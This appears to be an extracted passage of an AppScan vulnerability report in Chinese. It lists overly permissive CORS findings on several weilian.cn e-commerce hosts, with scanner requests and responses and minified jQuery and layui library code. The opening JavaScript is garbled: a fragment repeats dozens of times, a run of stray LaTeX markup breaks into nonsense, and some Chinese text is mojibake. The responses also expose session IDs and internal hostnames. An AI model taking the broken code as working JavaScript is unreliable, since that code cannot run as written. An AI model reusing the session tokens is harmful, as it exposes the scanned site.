h = a[f], i = 0, j = h?h.length: 0, k = a = = bS, l; for (; i < j \&\& (k | | ! l); i + +) l = h[i] (c, d, e), type of l = "string" \&\& (k | | ! l); i + +) l = h[i] (c, d, e), type of l = "string" \&\& (k | | ! l); i + +) l = h[i] (c, d, e), type of l = "string" \&\& (k | | ! l); i + +) l = h[i] (c, d, e), type of l = "string" \&\& (k | | ! l); i + +) l = h[i] (c, d, e), type of l = "string" \&\& (k | | ! l); i + +) l = h[i] (c, d, e), type of l = "string" \&\& (k | | ! l); i + +) l = h[i] (c, d, e), type of l = "string" \&\& (k | | ! l); i + +) l = h[i] (c, d, e), type of l = "string" \&\& (k | | ! l); i + +) l = h[i] (c, d, e), type of l = "string" \&\& (k | | ! l); i + +) l = h[i] (c, d, e), type of l = "string" \&\& (k | | ! l); i + +) l = h[i] (c, d, e), type of l = "string" \&\& (k | | ! l); i + +) l = h[i] (c, d, e), type of l = "string" \&\& (k | | ! l); i + +) l = h[i] (c, d, e), type of l = "string" \&\& (k | | ! l); i + +) l = h[i] (c, d, e), type of l = "string" \&\& (k | | ! l); i + +) l = h[i] (c, d, e), type of l = "string" \&\& (k | | ! l); i + +) l = h[i] (c, d, e), type of l = "string" \&\& (k | | ! l); i + +) l = h[i] (c, d, e), type of l = "string" \&\& (k | | ! l); i + +) l = h[i] (c, d, e), type of l = "string" \&\& (k | | ! l); i + +) l = h[i] (c, d, e), type of l = "string" \&\& (k | | ! l); i + +) l = h[i] (c, d, e), type of l = "string" \&\& (k | | ! l); i + +) l = h[i] (c, d, e), type of l =
  (!k||g[1]?l=b:(c.dataTypes.unshift(1),l=bZ(a,c,d,e,l,g)));(k||!1)&&!g["*"]&&
   (1=bZ(a,c,d,e,"*",g));return 1}function bY(a){return function(b,c){typeof b!="string"&&
  (c=b,b="*");if(f.isFunction(c)){var
  d=b.toLowerCase().split(b0), e=0, g=d.length, h, i, j; for(; e < g; e++) h=d[e], j=/^+/.test(h), j\&\& for(e, e) h=d[e], h=d[
  (h=h.substr(1)||"*", i=a[h]=a[h]||[],i[j?"unshift":"push"](c)}}function bB(a,b,c){var
d=b==="width"?a.offsetWidth:a.offsetHeight,e=b==="width"?1:0,g=4;if(d>0)
 {if(c!=="border")for(;e<q;e+=2)c||(d-=parseFloat(f.css(a,"padding"+bx[e]))||0),c==="marqin"?
d+=parseFloat(f.css(a,c+bx[e]))||0:d-=parseFloat(f.css(a,"border"+bx[e]+"Width"))||0;return
d+"px"}d=by(a,b); if(d<0||d==null)d=a.style[b]; if(bt.test(d))return\\
 \texttt{d}; \texttt{d} = \texttt{parseFloat}(\texttt{d}) \mid | \texttt{0}; \texttt{if}(\texttt{c}) \\ \texttt{for}(\texttt{;e} < \texttt{g}; \texttt{e} + = \texttt{2}) \\ \texttt{d} + = \texttt{parseFloat}(\texttt{f.css}(\texttt{a,"padding"+bx[e]})) \\ | | \texttt{0}, \texttt{c!} = = \texttt{padding"}(\texttt{a, class}) \\ \texttt{d} + \texttt{parseFloat}(\texttt{f.css}(\texttt{a, "padding"+bx[e]})) \\ \texttt{d} + \texttt{padding}(\texttt{f.css}(\texttt{f.css}(\texttt{a, "padding"+bx[e]})) \\ \texttt{d} + \texttt{padding}(\texttt{f.css}(\texttt{f.css}(\texttt{f.css}(\texttt{a, "padding"+bx[e]}))) \\ \texttt{d} + \texttt{padding}(\texttt{f.css}(\texttt{f.css}(\texttt{f.css}(\texttt{f.css}(\texttt{f.css}(\texttt{f.css}(\texttt{f.css}(\texttt{f.css}(\texttt{f.css}(\texttt{f.css}(\texttt{f.css}(\texttt{f.css}(\texttt{f.css}(\texttt{f.css}(\texttt{f.css}(\texttt{f.css}(\texttt{f.css}(\texttt{f.css}(\texttt{f.css}(\texttt{f.css}(\texttt{f.css}(\texttt{f.css}(\texttt{f.css}(\texttt{f.css}(\texttt{f.css}(\texttt{f.css}(\texttt{f.css}(\texttt{f.css}(\texttt{f.css}(\texttt{f.css}(\texttt{f.css}(\texttt{f.css}(\texttt{f.css}(\texttt{f.css}(\texttt{f.css}(\texttt{f.css}(\texttt{f.css}(\texttt{f.css}(\texttt{f.cs
 &(d+=parseFloat(f.css(a,"border"+bx[e]+"Width"))||0),c==="margin"&&
  (d+=parseFloat(f.css(a,c+bx[e]))||0);return d+"px"}function bo(a){var
b=c.createElement("div");bh.appendChild(b),b.innerHTML=a.outerHTML;return b.firstChild}function
bn(a) {var b=(a.nodeName||"").toLowerCase();b==="input"?bm(a):b!=="script"&&typeof
a.getElementsByTagName!="undefined"&&f.grep(a.getElementsByTagName("input"),bm)}function bm(a)
 {if(a.type==="checkbox"||a.type==="radio")a.defaultChecked=a.checked}function bl(a){return typeof
a.getElementsByTagName!="undefined"?a.getElementsByTagName("*"):typeof
a.querySelectorAll!="undefined"?a.querySelectorAll("*"):[]}function bk(a,b){var
c;b.nodeType===1&&
  (b.clearAttributes&&b.clearAttributes(),b.mergeAttributes&&b.mergeAttributes(a),c=b.nodeName.toLo
 werCase(), c==="object"?
b.outerHTML=a.outerHTML:c!=="input"||a.type!=="checkbox"&&a.type!=="radio"?c==="option"?
b.selected=a.defaultSelected:c==="input"||c==="textarea"?
```

```
b.defaultValue=a.defaultValue:c==="script"&&b.text!==a.text&&(b.text=a.text):(a.
...
...
```

问题 19 / 51 Toc

过度许可的 CORS 访问测试	
严重性:	€ The state of th
CVSS 分数:	5.0
URL:	http://vr-goods-rest-enterprise.mall.xt.weilian.cn/goodsRestApi/checkGoodscodeIsNotOne
实体:	checkGoodscodeIsNotOne (Page)
风险:	可能会收集有关 Web 应用程序的敏感信息,如用户名、密码、机器名和/或敏感文件位置可能会劝说初级用户提供诸如用户名、密码、信用卡号、社会保险号等敏感信息
原因:	Web 应用程序编程或配置不安全
固定值:	修改"Access-Control-Allow-Origin"头以仅获取允许的站点

变体-|1/2

差异:

推理: AppScan 检测到"Access-Control-Allow-Origin"头的许可权太多

测试请求和响应:

```
GET /goodsRestApi/checkGoodscodeIsNotOne?goodscode= HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Accept: application/json, text/javascript, */*; q=0.01 Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US, en; q=0.8 sessionId: c5b8689a1098705cd3ffdff0d57563a1
Content-Type: application/json
HTTP/1.1 200 OK
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Vary: Accept-Encoding
Date: Fri, 12 Jan 2018 03:11:27 GMT
Content-Type: application/json
Transfer-Encoding: chunked
{
  "data": [
 "returnCode": 1,
 "msg": null,
```

```
"html": null
}
```

变体-|2/2

差异:

推理: AppScan 检测到"Access-Control-Allow-Origin"头的许可权太多

测试请求和响应:

```
GET /goodsRestApi/checkGoodscodeIsNotOne?goodscode=0200202 HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
{\tt Host: vr-goods-rest-enterprise.mall.xt.weilian.cn}
Accept: application/json, text/javascript, ^{\star/\star};~\text{q=0.01}
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
Content-Type: application/json
HTTP/1.1 200 OK
{\tt Access-Control-Allow-Headers:} \  \, {\tt x-requested-with, content-type, sessionid}
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Vary: Accept-Encoding
Date: Fri, 12 Jan 2018 03:11:29 GMT
Content-Type: application/json
Transfer-Encoding: chunked
 "data": [
 "returnCode": 0,
               资产编码重复",
 "msg": "
 "html": null
```

问题 20 / 51 Toc

过度许可的 CORS 访问测试	
严重性:	€ The state of th
CVSS 分数:	5.0
URL:	http://h5config-rest-enterprise.mall.xt.weilian.cn/static/orderpage/layui.js
实体:	layui.js (Page)
A. A. :	可能会收集有关 Web 应用程序的敏感信息,如用户名、密码、机器名和/或敏感文件位置可能会劝说初级用户提供诸如用户名、密码、信用卡号、社会保险号等敏感信息
原因:	Web 应用程序编程或配置不安全
固定值:	修改"Access-Control-Allow-Origin"头以仅获取允许的站点

差异:

推理: AppScan 检测到"Access-Control-Allow-Origin"头的许可权太多 测试请求和响应:

```
GET /static/orderpage/layui.js HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://h5config-rest-enterprise.mall.xt.weilian.cn/static/orderpage/saleOrderList.html?
sessionId=6cecd9abca2a5797bbb71b3bef6db3f8
Connection: keep-alive
Host: h5config-rest-enterprise.mall.xt.weilian.cn
Accept: */*
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 200 OK
Content-Length: 6140
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:10:54 GMT
/** layui-v2.2.2 MIT License By http://www.layui.com */
    ;!function(e){"use strict";var t=document,o={modules:{},status:{},timeout:10,event:
 {}}, n=function() {this.v="2.2.2"}, r=function() {var e=t.currentScript?
t.currentScript.src:function(){for(var e,o=t.scripts,n=o.length-1,r=n;r>0;r--
)if("interactive"===o[r].readyState){e=o[r].src;break}return e||o[n].src}();return
e.substring(0,e.lastIndexOf("/")+1)}(),i=function(t)
 {e.console&&console.error&&console.error("Layui hint: "+t)},a="undefined"!=typeof opera&&"[object
Operal "===opera.toString(),u=
 {layer:"modules/layer",laydate:"modules/laydate",laypage:"modules/laypage",laytpl:"modules/laytpl
 ",layim: "modules/layim",layedit: "modules/layedit",form: "modules/form",upload: "modules/upload",tre
e: "modules/tree", table: "modules/table", element: "modules/element", util: "modules/util", flow: "module
 {\tt s/flow", carousel: "modules/carousel", code: "modules/code", jquery: "modules/jquery", mobile: "modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/modules/m
obile", "layui.all":"../layui.all"};n.prototype.cache=o,n.prototype.define=function(e,t){var
n=this,r="function"==typeof e,i=function(){return"function"==typeof t&&t(function(e,t)
 {layui[e]=t,o.status[e]=!0}),this};return r&&(t=e,e=
 []),layui["layui.all"]||!layui["layui.all"]&&layui["layui.mobile"]?i.call(n):
  (\texttt{n.use}\,(\texttt{e},\texttt{i})\,,\texttt{n})\,\}\,,\texttt{n.prototype.use=function}\,(\texttt{e},\texttt{n},\texttt{l})\,\{\texttt{function}\,\,\,\texttt{s}\,(\texttt{e},\texttt{t})\,\{\texttt{var}\,\,\,\texttt{n="PLaySTATION}\}\,\}
3"===navigator.platform?/^complete$/:/^(complete|loaded)$/;
  ("load"===e.type||n.test((e.currentTarget||e.srcElement).readyState)) &&
  (o.modules[f] = t, d.removeChild(v), function r() {return++m>1e3*o.timeout/4?i(f+" is not a valid for the context of the con
\verb|module"| : void(o.status[f]?c():setTimeout(r,4)) | ()) | | | function c() | | (1.push(layui[f]), e.length > 1? | | (1.push(layui[f]), e.length > 1? | (1.push(layui[f]), e.length > 1.push(layui[f]), e.length > 1.push(layui[f
p.use(e.slice(1),n,1):"function"==typeof n&&n.apply(layui,1)}var p=this,y=o.dir=o.dir?
o.dir:r,d=t.getElementsByTagName("head")[0];e="string"==typeof e?
[e]:e,window.jQuery&&jQuery.fn.on&&(p.each(e,function(t,o)
 [],o.host=o.host||(y.match(/\/\/([\s\S]+?)\/)||["//"+location.host+"/"])
[0],o==e.length||layui["layui.all"]&&u[f]||!layui["layui.all"]&&layui["layui.mobile"]&&u[f])retu
\verb"rn c(),p; if (o.modules[f])! function g() {return++m>1e3*o.timeout/4?i(f+" is not a valided of the context of the context
```

```
 v=t.createElement("script"), h= (u[f]?y+"lay/":/^\(\/\}/.test(p.modules[f])?"":o.base||"") + (p.modules[f]||f)+".js"; h=h.replace(/^\(\/\}/,""), v.async=!0, v.charset="utf-8", v.src=h+function() + (v.src=h+function()) + (v.src
 {var e=o.version===!0?o.v||(new Date).getTime():o.version||"";return e?"?v="+e:""}
 (),d.appendChild(v),!v.attachEvent||v.attachEvent.toString&&v.attachEvent.toString().indexOf("
 [native code")<0||a?v.addEventListener("load", function(e)</pre>
 \{s(e,h)\}, !1\}: v.attachEvent("onreadystatechange", function(e) \{s(e,h)\}), o.modules[f]=h\}return
p},n.prototype.getStyle=function(t,o){var n=t.currentStyle?
 t.currentStyle:e.getComputedStyle(t,null);return
a=this,u=t.createElement("link"),l=t.getElementsByTagName("head")[0];"string"==typeof n&&
 (r=n); var s=(r||e).replace(/\.|\//g,""), c=u.id="layuicss-"+s,p=0; return
u.rel="stylesheet", u.href=e+(o.debug?"?v="+(new
Date) .getTime():""), u.media="all", t.getElementById(c)||l.appendChild(u), "function"!=typeof n?a:
 (function y() {return++p>1e3*o.timeout/100?i(e+"
timeout"):void(1989===parseInt(a.getStyle(t.getElementById(c),"width"))?function(){n()}
 (): \texttt{setTimeout}\,(\texttt{y},\texttt{100})\,)\,\}\,()\,,\texttt{a})\,\}\,,\texttt{n.prototype.addcss=} \texttt{function}\,(\texttt{e},\texttt{t},\texttt{n})\,\{\texttt{return}\,
layui.link(o.dir+"css/"+e,t,n)},n.prototype.img=function(e,t,o){var n=new Image;return
n.src=e,n.complete?t(n):(n.onload=function(){n.onload=null,t(n)},void(n.onerror=function(e)
 \{n.onerror=null,o(e)\}))\}, n.prototype.config=function(e)\{e=e \mid |\{\}; for(var\ t\ in\ e)o[t]=e[t]; return for every example of the configuration of the conf
this}, n.prototype.modules=function() {var e={}; for(var t in u)e[t]=u[t]; return e}
 (), n.prototype.extend=function(e) {var t=this;e=e||{};for(var o in e)t[o]||t.modules[o]?i("æ";åå
 "+o+" 已被å ç¨"):t.modules[o]=e[o];return t},n.prototype.router=function(e){var
t = this, e = e \mid | location.hash, o = \{path: [], search: \{\}, hash: (e.match(/[^#](#.*$)/)||[])\}
 [1] \mid \mid ""; return/^#\//.test(e)?(e=e.replace(/^#\//,""
 . . .
 . . .
```

问题 **21 / 51** Toc

过度许可的 CORS 访问测试	
严重性:	€ The state of th
CVSS 分数:	5.0
URL:	http://h5config-rest-enterprise.mall.xt.weilian.cn/static/orderpage/lay/modules/form.js
实体:	form.js (Page)
风险:	可能会收集有关 Web 应用程序的敏感信息,如用户名、密码、机器名和/或敏感文件位置可能会劝说初级用户提供诸如用户名、密码、信用卡号、社会保险号等敏感信息
原因:	Web 应用程序编程或配置不安全
固定值:	修改"Access-Control-Allow-Origin"头以仅获取允许的站点

差异:

推理: AppScan 检测到"Access-Control-Allow-Origin"头的许可权太多 测试请求和响应:

```
GET /static/orderpage/lay/modules/form.js HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://h5config-rest-enterprise.mall.xt.weilian.cn/static/orderpage/saleOrderList.html?
sessionId=6cecd9abca2a5797bbb71b3bef6db3f8
Connection: keep-alive
Host: h5config-rest-enterprise.mall.xt.weilian.cn
Accept: */*
Accept-Language: en-US,en;q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
```

```
HTTP/1.1 200 OK
Content-Length: 7517
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:10:55 GMT
/** layui-v2.2.2 MIT License By http://www.layui.com */
  ;layui.define("layer",function(e){"use strict";var
i=layui.$,t=layui.layer,a=layui.hint(),n=layui.device(),l="form",r=".layui-form",s="layui-
this",u="layui-hide",o="layui-disabled",c=function(){this.config={verify:{required:[/[\S]+/,"必填
项不能为空"],phone:[/^1\d{10}$/,"请输入正确的手机号"],email:[/^([a-zA-Z0-9 \.\-])+\@(([a-zA-Z0-9\-
])+\.)+([a-zA-z0-9]{2,4})+$/,"邮箱格式不正确"],url:[/(^#)|(^http(s*):\/\/[^\s]+\.[^\s]+\/,"链接格式不
正确"],number:function(e){if(!e||isNaN(e))return"只能填写数字"},date:[/^(\d{4})[-\/]
 (\d{1}|0\d{1}|1[0-2])([-\/](\d{1}|0\d{1}|[1-2][0-9]|3[0-1]))*$/,"日期格式不正确"],identity:
[/(^\d{15}$)|(^\d{17}(x|X|\d)$)/,"请输入正确的身份证号"]}}};c.prototype.set=function(e){var
t=this;return i.extend(!0,t.config,e),t},c.prototype.verify=function(e){var t=this;return
i.extend(!0,t.config.verify,e),t},c.prototype.on=function(e,i){return
layui.onevent.call (this,l,e,i) \cite{Continuous}, c.prototype.render=function (e,t) \cite{Continuous}, c=i (r+function (e,t)) \cite{Continuous}, c=i (r+f
{return t?'[lay-filter="'+t+'"]':""}()),d={select:function(){var e,t="请选择",a="layui-form-
select", n="layui-select-title", r="layui-select-none", d="", f=c.find("select"), y=function(t,l)
\{i(t.target).parent().hasClass(n) \&\&!l||(i("."+a).removeClass(a+"ed))\}
"+a+"up"), e&&d&&e.val(d)), e=null}, h=function(t,c,f) {var
b=function() {var e=t.offset().top+t.outerHeight()+5-
v.scrollTop(), i=k.outerHeight();t.addClass(a+"ed"),g.removeClass(u),e+i>v.height()&&e>=i&&t.addCl
ass (a+"up") \}, x=function (e) \{t.removeClass (a+"ed "+a+"up"), m.blur(), e | | C(m.val(), function(e) \{e\&\& ass (a+"up"), m.blur(), e | | C(m.val(), function(e) \{e\&\& ass (a+"up"), m.blur(), e | | C(m.val(), function(e) \{e\&\& ass (a+"up"), m.blur(), e | | C(m.val(), function(e) \{e\&\& ass (a+"up"), m.blur(), e | | C(m.val(), function(e) \{e\&\& ass (a+"up"), m.blur(), e | | C(m.val(), function(e) \{e\&\& ass (a+"up"), m.blur(), e | | C(m.val(), function(e) \{e\&\& ass (a+"up"), m.blur(), e | | C(m.val(), function(e) \{e\&\& ass (a+"up"), function(e) \{e\&\& ass (a+"up"
 (d=k.find("."+s).html(), m&&m.val(d))})};p.on("click", function(e){t.hasClass(a+"ed")?x():
 (y(e,!0),b()),k.find("."+r).remove()),p.find(".layui-edge").on("click",function())
  \{\texttt{m.focus()}\}, \texttt{m.on("keyup",function(e)} \\ \{\texttt{var i=e.keyCode;9===i\&\&b()}\}). \\ \texttt{on("keydown",function(e)} \\ \{\texttt{var i=e.keyCode;9===i\&\&b()}\}). \\ \texttt{on("keydown",function(e))} \\ \texttt{on("keydown",funct
i=e.keyCode;9===i?x():13===i&&e.preventDefault()});var C=function(e,t,a){var
n=0; layui.each(g, function() \{var \ t=i(this), l=t.text(), r=l.indexOf(e) ===-1; (""===e| |"blur"===a? | layui.each(g, function() \{var \ t=i(this), l=t.text(), r=l.indexOf(e) ===-1; (""===e| l=blur"===a? | layui.each(g, function() \{var \ t=i(this), l=t.text(), r=l.indexOf(e) ===-1; (""===e| l=blur"===a? | layui.each(g, function() \{var \ t=i(this), l=t.text(), r=l.indexOf(e) ===-1; (""===e| l=blur"===a? | l=blur"==a? | l=blur"===a? | l=blur"==a? | l=blur"==a.text() | l=blur"==a.te
e!==1:r)&&n++,"keyup"===a&&t[r?"addClass":"removeClass"](u)});var l=n===q.length;return
t(1),1}, w=function(e) {var i=this.value,t=e.keyCode;return
9!==t&&13!==t&&37!==t&&38!==t&&39!==t&&40!==t&&(C(i,function(e){e?k,find("."+r)[0]||k,append('<p
class="'+r+'">无匹配项
'):k.find("."+r).remove()}, "keyup"), void(""===i&&k.find("."+r).remove()))};f&&m.on("keyup",w)
 .on ("blur", function (i) \{e=m, d=k.find ("."+s).html(), setTimeout (function () \{C (m.val(), function (e), func
{d||m.val("")}, "blur")},200)}),g.on("click",function(){var e=i(this),a=e.attr("lay-
value"), n=h.attr("lay-filter"); return!e.hasClass(o) && (e.hasClass("layui-select-tips")?m.val(""):
 (m.val(e.text()),e.addClass(s)),e.siblings().removeClass(s),h.val(a).removeClass("layui-form-
danger"),layui.event.call(this,1,"select("+n+")",
 \{\texttt{elem:h[0],value:a,othis:t}), \texttt{x(!0),!1)}\}), \texttt{t.find("dl} \texttt{>} \texttt{dt"}). \texttt{on("click",function(e))}\}
{return!1}),i(document).off("click",y).on("click",y)};f.each(function(e,l){var
r=i(this),u=r.next("."+a),c=this.disabled,d=l.value,f=i(l.options[l.selectedIndex]),y=l.options[0
];if("string"==typeof r.attr("lay-ignore"))return r.show();var v="string"==typeof r.attr("lay-
search"),p=y?y.value?t:y.innerHTML||t:t,m=i(['<div class="'+(v?"":"layui-unselect ")+a+(c?"
layui-select-disabled":"")+"">','<div class="'+n+'"><input type="text" placeholder="'+p+'"
value="'+(d?f.html():"")+'" '+(v?"":"readonly")+' class="layui-input'+(v?"":" layui-unselect")+
 (c?" "+o:"")+'">','<i class="layui-edge"></i></div>','<dl class="layui-anim layui-anim-upbit'+
 (r.find("optgroup")[0]?" layui-select-group":"")+'">'+function(e)(var i=[];return
layui.each(e,function(e,a){0!==e||a.value?"optgroup"===a.tagName.toLowerCase()?i.push("
<dt>"+a.label+"</dt>"):i.push('<dd lay-value="'+a.value+'" class="'+(d===a.value?s:"")+</pre>
 (a.disabled?" "+o:"")+'">+a.innerHTML+"</dd>"):i.push('<dd lay-value="" class="layui-select-
tips">'+(a.innerHTML||t)+"</dd>")}),0===i.length&&i.push('<dd lay-value="" class="'+o+'">没有选项
</dd>'),i.join("")}(r.find("*"))+"</dl>","
</div>"].join(""));u[0]&&u.remove(),r.after(m),h.call(this,m,c,v)})},checkbox:function(){var e=
{checkbox:["layui-form-checkbox","layui-form-checked","c
. . .
```

问题 **22** / **51** Toc

过度许可的 CORS 访问测试	
严重性:	1E
CVSS 分数:	5.0
URL:	http://h5config-rest-enterprise.mall.xt.weilian.cn/static/orderpage/lay/modules/laypage.js
实体:	laypage.js (Page)
A. A. :	可能会收集有关 Web 应用程序的敏感信息,如用户名、密码、机器名和/或敏感文件位置可能会劝说初级用户提供诸如用户名、密码、信用卡号、社会保险号等敏感信息
原因:	Web 应用程序编程或配置不安全
固定值:	修改"Access-Control-Allow-Origin"头以仅获取允许的站点

差异:

推理: AppScan 检测到"Access-Control-Allow-Origin"头的许可权太多 测试请求和响应:

```
GET /static/orderpage/lay/modules/laypage.js HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://h5config-rest-enterprise.mall.xt.weilian.cn/static/orderpage/saleOrderList.html?
sessionId=6cecd9abca2a5797bbb71b3bef6db3f8
Connection: keep-alive
Host: h5config-rest-enterprise.mall.xt.weilian.cn
Accept: */*
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 200 OK
Content-Length: 4318
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:10:55 GMT
/** layui-v2.2.2 MIT License By http://www.layui.com */
; layui.define(function(e) { "use strict"; var
a=document,t="getElementById",n="getElementsByTagName",i="laypage",r="layui-
disabled", u=function(e) {var a=this;a.config=e||
{},a.config.index=++s.index,a.render(!0)};u.prototype.type=function(){var
e=this.config;if("object"==typeof e.elem)return void 0===e.elem.length?
2:3},u.prototype.view=function() {var e=this,a=e.config,t=a.groups="groups"in a?
0|a.groups:5;a.layout="object"==typeof a.layout?a.layout:
["prev", "page", "next"], a.count=0|a.count, a.curr=0|a.curr||1, a.limits="object"==typeof a.limits?
a.limits:
[10,20,30,40,50],a.limit=0|a.limit||10,a.pages=Math.ceil(a.count/a.limit)||1,a.curr>a.pages&&
 (a.curr=a.pages) \texttt{,} t<0?t=1:t>a.pages&&(t=a.pages) \texttt{,} a.prev="prev"in a? 
a.prev:"上一页",a.next="next"in a?a.next:"下一页";var
n=a.pages>t?Math.ceil((a.curr+(t>1?1:0))/(t>0?t:1)):1,i={prev:function(){return a.prev?'<a
href="javascript:;" class="layui-laypage-prev'+(1==a.curr?" "+r:"")+'" data-page="'+(a.curr-
1)+'">'+a.prev+"</a>":""}(),page:function(){var e=
[];if(a.count<1)return"";n>1&&a.first!==!1&&0!==t&&e.push('<a href="javascript:;" class="layui-
laypage-first" data-page="1" title="首页">'+(a.first||1)+"</a>");var
i=Math.floor((t-1)/2),r=n>1?a.curr-i:1,u=n>1?function(){var e=a.curr+(t-i-1);return e>a.pages?}
a.pages:e}():t;for(u-r<t-1&&(r=u-t+1),a.first!==!1&&r>2&&e.push('<span class="layui-laypage-
spr">…</span>');r<=u;r++)r===a.curr?e.push('<span class="layui-laypage-curr"><em</pre>
class="layui-laypage-em" '+(/^#/.test(a.theme)?'style="background-color:'+a.theme+';"':"")+">
</em>="+r+"</em></span>"):e.push('<a href="javascript:;" data-paqe="'+r+'">'+r+"</a>");return
a.pages>t&&a.pages>u&&a.last!==!1&&(u+1<a.pages&&e.push('<span class="layui-laypage-spr">&#x2026;
</span>'),0!==t&&e.push('<a href="javascript:;" class="layui-laypage-last"
title="%#x5C3E;%#x9875;" data-page="'+a.pages+'">'+(a.last||a.pages)+"</a>")),e.join("")}
(), next:function() {return a.next?'<a href="javascript:;" class="layui-laypage-next'+
(a.curr==a.pages?" "+r:"")+'" data-page="'+(a.curr+1)+'">'+a.next+"</a>":""}(),count:'<span
```

```
class="layui-laypage-limits"><select lay-ignore>'];return layui.each(a.limits,function(t,n)
 {e.push('<option value="'+n+'"'+(n===a.limit?"selected":"")+">"+n+" æ;/é
 ju</option>")}),e.join("")+"</select></span>"}(),skip:function(){return['<span class="layui-</pre>
laypage-skip">񵈰第','<input type="text" min="1" value="'+a.curr+'" class="layui-
input">','页<button type="button" class="layui-laypage-btn">&#x786e;&#x5b9a;</button>',"
 </span>"].join("")}()};return['<div class="layui-box layui-laypage layui-laypage-'+</pre>
  (a.theme?/^#/.test(a.theme)?"molv":a.theme:"default")+"" id="layui-laypage-
  '+a.index+'">', function() {var e=[]; return layui.each(a.layout, function(a,t)
  \{i[t] \& e.push(i[t])\}), e.join("")\}(), "</div>"].join("")\}, u.prototype.jump=function(e,a) \\ \{if(e) \{varante e, varante e, varant
 t=this,i=t.config,r=e.children,u=e[n]("button")[0],l=e[n]("input")[0],p=e[n]("select")
 [0], c=function() {var e=0|l.value.replace(/\s|\D/g,"");e&&(i.curr=e,t.render())};if(a)return
c(); for (var
o=0, y=r.length; o< y; o++) \\ "a"===r[o].nodeName.toLowerCase() \\ \&\&s.on(r[o], "click", function() \\ \{varantemethree and extension | varantemethree | varantemethree
e=0|this.getAttribute("data-page");e<1||e>i.pages||
  (i.curr=e,t.render())});p&&s.on(p,"change",function(){var e=this.value;i.curr*e>i.count&&
   (i.curr=Math.ceil(i.count/e)), i.limit=e, t.render())), u\&\&s.on(u, "click", function()) \\
  {c()})}},u.prototype.skip=function(e){if(e){var a=this,t=e[n]("input")}
 [0]; t\&\&s.on(t, "keyup", function(t) {var n=this.value, i=t.keyCode; /^(37|38|39|40)$/.test(i)||}
  (/\D/.test(n)&&
 (\texttt{this.value=n.replace(/\D/,"")),13===i\&\&a.jump(e,!0))}), \texttt{u.prototype.render=function(e)} \\ \{\texttt{var}, \texttt{var}, \texttt{va
n=this,i=n.config,r=n.type(),u=n.view();2===r?i.elem&&(i.elem.innerHTML=u):3===r?
